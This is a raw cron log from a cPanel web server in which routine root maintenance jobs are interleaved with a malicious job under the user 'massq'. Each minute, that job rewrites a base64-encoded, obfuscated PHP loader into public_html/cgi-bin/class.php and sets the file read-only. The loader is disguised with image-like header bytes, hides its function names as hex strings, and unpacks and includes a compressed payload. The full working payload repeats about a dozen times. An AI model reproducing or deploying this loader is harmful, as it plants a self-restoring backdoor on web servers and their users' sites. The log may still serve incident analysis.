Sep  4 20:51:01 server CROND[5413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:51:01 server CROND[5414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:51:01 server CROND[5415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:52:01 server CROND[5795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:52:01 server CROND[5796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:52:01 server CROND[5797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:53:01 server CROND[6288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:53:01 server CROND[6289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:53:01 server CROND[6290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:54:01 server CROND[6674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:54:01 server CROND[6675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:54:01 server CROND[6677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:55:01 server CROND[7100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:55:01 server CROND[7101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:55:01 server CROND[7108]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:55:01 server CROND[7104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:55:01 server CROND[7105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:55:01 server CROND[7107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:55:01 server CROND[7106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:56:01 server CROND[7962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:56:01 server CROND[7963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:56:01 server CROND[7964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:57:01 server CROND[8401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:57:01 server CROND[8402]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:57:01 server CROND[8403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:57:01 server CROND[8406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:58:01 server CROND[8886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:58:01 server CROND[8888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:58:01 server CROND[8887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:59:01 server CROND[9273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:59:01 server CROND[9274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:59:01 server CROND[9275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:00:01 server CROND[9668]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:00:01 server CROND[9669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:00:01 server CROND[9672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:00:01 server CROND[9677]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:00:01 server CROND[9678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:00:01 server CROND[9680]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 21:00:01 server CROND[9679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:00:01 server CROND[9681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:00:01 server CROND[9683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:01:01 server CROND[10523]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 21:01:01 server CROND[10525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:01:01 server CROND[10524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:01:01 server CROND[10526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:01:01 server run-parts(/etc/cron.hourly)[10523]: starting 0anacron
Sep  4 21:01:01 server run-parts(/etc/cron.hourly)[10545]: finished 0anacron
Sep  4 21:02:01 server CROND[10920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:02:01 server CROND[10921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:02:01 server CROND[10922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:03:01 server CROND[11369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:03:01 server CROND[11370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
